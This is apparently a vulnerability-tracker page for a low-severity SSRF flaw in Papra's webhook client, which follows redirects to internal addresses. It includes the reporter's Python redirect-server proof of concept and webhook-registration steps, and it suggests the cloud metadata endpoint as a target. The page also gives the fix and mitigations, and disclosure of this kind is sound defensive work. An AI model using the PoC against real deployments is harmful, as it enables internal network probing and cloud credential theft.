Skip to main content

Papra CVE-2026-48051

| EUVDEUVD-2026-49390 LOW
Server-Side Request Forgery (SSRF) (CWE-918)
2026-06-10 https://github.com/papra-hq/papra GHSA-5g86-85rp-f9hx
3.5
CVSS 3.1 · Vendor: https://github.com/papra-hq/papra
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate as org member
  2. Delivery
    Register webhook pointing to attacker-controlled redirect server
  3. Exploit
    Upload document to trigger document:created event
  4. Execution
    Redirect server returns HTTP 302 with Location set to internal target
  5. Persist
    ofetch follows redirect without SSRF check
  6. Impact
    Internal service receives request and returns HTTP 200

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Credential Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires a valid organisation membership account in the target Papra instance - this is confirmed by the CVSS vector PR:L (low privileges). No administrative role is required; any member who can register webhooks and upload documents is sufficient. The attacker must also operate a publicly reachable HTTP server capable of returning 3xx redirects, which the PoC implements with a simple Python script and free ngrok tunnelling. The webhook delivery trigger requires that at least one document:created (or other subscribed) event fires after registration. Exploitation is limited to blind SSRF - internal HTTP response bodies are written to the webhook_deliveries table but no Papra API endpoint exposes delivery records, so direct credential or data exfiltration through the Papra API is not possible. HTTP 307 responses preserve the POST method and body, enabling state-changing requests to internal services that accept unauthenticated POSTs. The CVSS AC:H rating reflects the external redirect infrastructure requirement. Cloud IMDS exploitation was not tested in the original PoC due to a local Docker environment but is architecturally equivalent.

Impact

The CVSS 3.1 base score of 3.5 (AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:N) reflects the high attack complexity and low confidentiality impact (blind SSRF with no direct API exfiltration path). However, the Scope:Changed component is significant - the server reaches infrastructure outside its own trust boundary, including cloud IMDS endpoints at 169.254.169.254 on AWS, GCP, and Azure. The CVSS confidentiality rating of Low correctly captures the blind nature of the SSRF, but the real-world risk is higher in cloud-hosted deployments where IMDS access can yield instance credentials. The high attack complexity (AC:H) is justified by the requirement to operate an externally reachable redirect server, which is a meaningful barrier but easily cleared with free tooling (ngrok). No EPSS data was provided. The vulnerability is not listed in CISA KEV, indicating no confirmed widespread active exploitation at time of analysis. A public PoC Python script is included in the GHSA advisory, with exploitation confirmed against the official Docker image by the reporter. The combination of low privileges required, a working PoC, and cloud IMDS exposure means real-world risk is meaningfully above what the 3.5 CVSS score implies for cloud-deployed instances.

Exploit ScenarioDerived

An authenticated organisation member deploys a publicly reachable redirect server (achievable with ngrok free tier) configured to respond to incoming POSTs with an HTTP 302 pointing to an internal target such as http://169.254.169.254/latest/meta-data/ on cloud infrastructure. The attacker registers a webhook in Papra pointing to the redirect server's URL, which passes all SSRF checks because the hostname resolves to a public IP. When any document:created event fires, Papra's webhook client POSTs to the redirect server, receives the 302, silently follows it to the internal address, and logs the response status - confirming reachability. A public PoC Python script implementing this technique is included in the GHSA advisory.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 10, 2026

Papra's webhook delivery system allows any authenticated organisation member to bypass SSRF protections and cause the server to issue HTTP requests to loopback, link-local, and RFC-1918 addresses by exploiting automatic redirect-following in the ofetch HTTP client. The SSRF blocklist is enforced on registered webhook URLs but never applied to 3xx redirect destinations, meaning an attacker-controlled server can return a 302/307 response pointing to any internal address and Papra's server will follow it. A public proof-of-concept is available and exploitation was confirmed against the official Docker image; no CISA KEV listing is present at time of analysis.

RemediationAI

Upgrade @papra/webhooks to version 0.3.3, which is confirmed as the fixed release per the GHSA advisory (https://github.com/papra-hq/papra/security/advisories/GHSA-5g86-85rp-f9hx). The patch commit 086dccbfda18c850bee50b94c48f5f110be6935c introduces two layered defences: first, redirect: 'manual' is added to the ofetch.raw() call in the new webhooks.http-client.ts, causing any 3xx response to be returned as a delivery failure rather than followed; second, a undici Agent configured with a Node.js net.BlockList is attached as the dispatcher, enforcing SSRF IP blocking at TCP connection time on every request - including any that would have bypassed DNS-level checks via rebinding. If upgrading immediately is not possible, operators can restrict outbound network access from the Papra server host to block RFC-1918 and link-local ranges at the network or firewall layer; this removes the ability to reach internal services but does not prevent the server from contacting attacker-controlled public addresses. Disabling webhook functionality entirely (if supported by configuration) eliminates the attack surface until patching is feasible.

Affected VersionsENISA

papra < 26.5.0

Affected Packages

npm @papra/webhooks fix: 0.3.3
euvd papra fix: 26.5.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected component is the npm package @papra/webhooks (CPE: pkg:npm/@papra_webhooks), which implements outbound HTTP delivery of webhook events in the Papra document-management platform. The HTTP client is ofetch 1.4.1, a thin wrapper around the WHATWG Fetch API. The Fetch specification defines three redirect modes - follow, error, and manual - and defaults to 'follow', meaning the HTTP implementation transparently resolves the full redirect chain and returns only the terminal response; application code receives no indication that any redirect occurred. The SSRF protection (CWE-918: Server-Side Request Forgery) is applied at webhook registration time via checkWebhookUrlIsSsrfSafe (webhooks.usecases.ts:34) and at delivery time via filterOutSsrfUnsafeWebhooks (webhooks.usecases.ts:124). Both guards call isHostnameSsrfSafe in ssrf.services.ts, which performs DNS resolution on the registered URL hostname and checks resulting IPs against a blocklist covering 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, and ::1. Because both checks operate exclusively on the originally registered URL, the Location header returned in any 3xx response is never extracted, resolved, or compared against the blocklist before the Fetch implementation follows it. Additionally, the changeset notes that the fix also addresses a TOCTOU DNS rebinding window in the original design, where registration-time DNS resolution and delivery-time DNS resolution could diverge.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/papra-hq/papra) PRIMARY 3.5 LOW
AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:N

Primary rating from Vendor (https://github.com/papra-hq/papra) · only source for this CVE.

CVSS VectorVendor: https://github.com/papra-hq/papra

Attack Vector
Network
Attack Complexity
High
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
None
Availability
None

DescriptionCVE.org

Summary

Papra's webhook delivery system contains an SSRF protection bypass that allows any authenticated organisation member to cause the server to make HTTP requests to internal addresses - loopback, link-local, and RFC-1918 ranges. The SSRF protection validates the registered webhook URL but ignores redirect destinations. The HTTP client (ofetch) follows 3xx responses automatically, and the redirect target is never checked against the blocklist. An attacker registers a webhook pointing to an attacker-controlled server, which redirects incoming POSTs to any internal address. Exploitation was confirmed by live test against the official Docker image. The fix is a single-line change to the webhook HTTP client.

Details

The vulnerable call

The webhook HTTP client in packages/webhooks/src/webhooks.services.ts (lines 16-19) calls ofetch.raw() without specifying a redirect option:

typescript
const response = await ofetch.raw<unknown>(url, {
  ...options,
  ignoreResponseError: true,
  // no `redirect` option - defaults to 'follow' per Fetch API spec
});

ofetch is a thin wrapper around the WHATWG Fetch API. The Fetch specification defines three redirect modes - follow, error, and manual - and sets follow as the default. In follow mode, the HTTP implementation resolves the redirect chain internally and returns only the final response; application code receives the terminal response with no indication that any redirects occurred. ofetch 1.4.1 does not set a redirect option in its internal fetch() call, so the default applies. The ignoreResponseError: true option only suppresses exceptions on non-2xx responses; it has no effect on redirect handling.

How the bypass works

The SSRF protection runs at two points: registration time (checkWebhookUrlIsSsrfSafe, webhooks.usecases.ts:34) and delivery time (filterOutSsrfUnsafeWebhooks, webhooks.usecases.ts:124). Both checks work the same way:

typescript
// apps/papra-server/src/modules/shared/ssrf/ssrf.services.ts, lines 20-27
const hostname = getUrlHostname(url);
return isHostnameSsrfSafe({ hostname, allowedHostnames, dnsLookup, logger });
// Resolves hostname → checks all resulting IPs against the blocklist
// Blocklist covers: 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16,
//                   169.254.0.0/16, ::1, and other reserved ranges

Both checks operate on url - the registered webhook URL, a public hostname that resolves to a public IP and passes the blocklist. Neither check has any visibility into where the HTTP client will end up after following a redirect. The Location header in a 3xx response is never extracted, never DNS-resolved, and never compared against the blocklist. By the time the redirect target is known to the Fetch implementation, the request has already been made.

The developer cannot observe this gap. The Fetch API gives no opportunity to inspect the redirect target before following it.

Evidence

Attacker's redirect server receives the POST and returns 302:

[2026-05-08T15:55:38.388647] POST /redirect
  User-Agent: papra-webhook-client    ← set only in webhooks.services.ts:47
  X-Forwarded-For: <REDACTED>
"POST /redirect HTTP/1.1" 302 -

Papra's inbound request log immediately after - this is the server logging a request arriving at itself:

{"message":"Request completed","timestampMs":1778255738420,
 "data":{"status":200,"method":"GET","path":"/api/health",
         "userAgent":"papra-webhook-client"}}   ← outbound UA on an inbound request

papra-webhook-client is set exclusively by the outbound webhook delivery code (webhooks.services.ts:47). Its presence on an inbound log entry is only possible if Papra's own HTTP client followed the 302 and made a request to the loopback. The delivery record confirms the internal endpoint responded HTTP 200:

{"message":"Webhook triggered","timestampMs":1778255738422,
 "data":{"responseStatus":200,"webhookId":"wbh_s6t1xzezbzbivyhptcs7qxhk"}}

PoC

  1. Start redirect_server.py on a publicly reachable server (ngrok free tier is sufficient). The example below uses Papra's own health endpoint as the redirect target to demonstrate the bypass - in a cloud environment replace REDIRECT_TARGET with http://169.254.169.254/latest/meta-data/ or any internal address.
python
from http.server import HTTPServer, BaseHTTPRequestHandler
from socketserver import ThreadingMixIn
import datetime

REDIRECT_TARGET = "http://127.0.0.1:1221/api/health"
# replace with desired internal target

class RedirectHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        content_len = int(self.headers.get("Content-Length", 0))
        body = self.rfile.read(content_len)
        print(f"[{datetime.datetime.now(datetime.timezone.utc).isoformat()}] POST {self.path}")
        print(f"  User-Agent: {self.headers.get('User-Agent')}")
        print(f"  Body: {body[:200]}")
        self.send_response(302)
        self.send_header("Location", REDIRECT_TARGET)
        self.end_headers()

class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
    pass

if __name__ == "__main__":
    server = ThreadedHTTPServer(("0.0.0.0", 9999), RedirectHandler)
    print("Redirect server running on port 9999")
    server.serve_forever()

> ThreadingMixIn is required - Papra immediately opens a second connection to the same port when following the redirect; a single-threaded server deadlocks.

  1. Register a webhook pointing to the redirect server:
   POST /api/organizations/{orgId}/webhooks
   {"name":"ssrf-test","url":"https://{ngrok-url}/redirect","events":["document:created"]}
  1. Upload any document to the organisation to fire a document:created event.
  2. Confirm on the Papra server logs that /api/health received a GET request with User-Agent: papra-webhook-client.

Impact

  • Any authenticated org member (no admin role required) can trigger the exploit.
  • The Papra server makes HTTP requests to internal addresses blocked by its own SSRF list: 127.0.0.0/8, 169.254.0.0/16, RFC-1918 ranges.
  • This is blind SSRF - internal response bodies are written to webhook_deliveries but no API route exposes delivery records. Response content is not accessible to the attacker through the Papra API.
  • Internal network topology can be partially inferred from whether requests succeed or fail (closed port produces a network error; open port returns an HTTP response).
  • HTTP 307 redirects preserve the POST method and body, enabling state-changing requests to internal services that accept unauthenticated POSTs.
  • On cloud deployments (AWS, GCP, Azure), the instance metadata service at 169.254.169.254 is reachable by the same technique. Cloud IMDS was not tested in this PoC (local Docker environment, no metadata service present). Response exfiltration via the Papra API remains unavailable regardless.

Suggested Fix

Add redirect: 'manual' to the ofetch.raw() call in packages/webhooks/src/webhooks.services.ts (line 16) and treat any 3xx response as a delivery failure. Webhook endpoints have no legitimate reason to redirect:

typescript
const response = await ofetch.raw<unknown>(url, {
  ...options,
  redirect: 'manual',       // do not follow redirects
  ignoreResponseError: true,
});

If redirect-following is ever required in the future, validate the Location header through the existing isUrlSsrfSafe() check before re-issuing the request.

Threat Intelligence Overview

EPSS Score
0.0%
Top 93% exploitable
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Defer
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Low

Priority Score

18
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +18
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy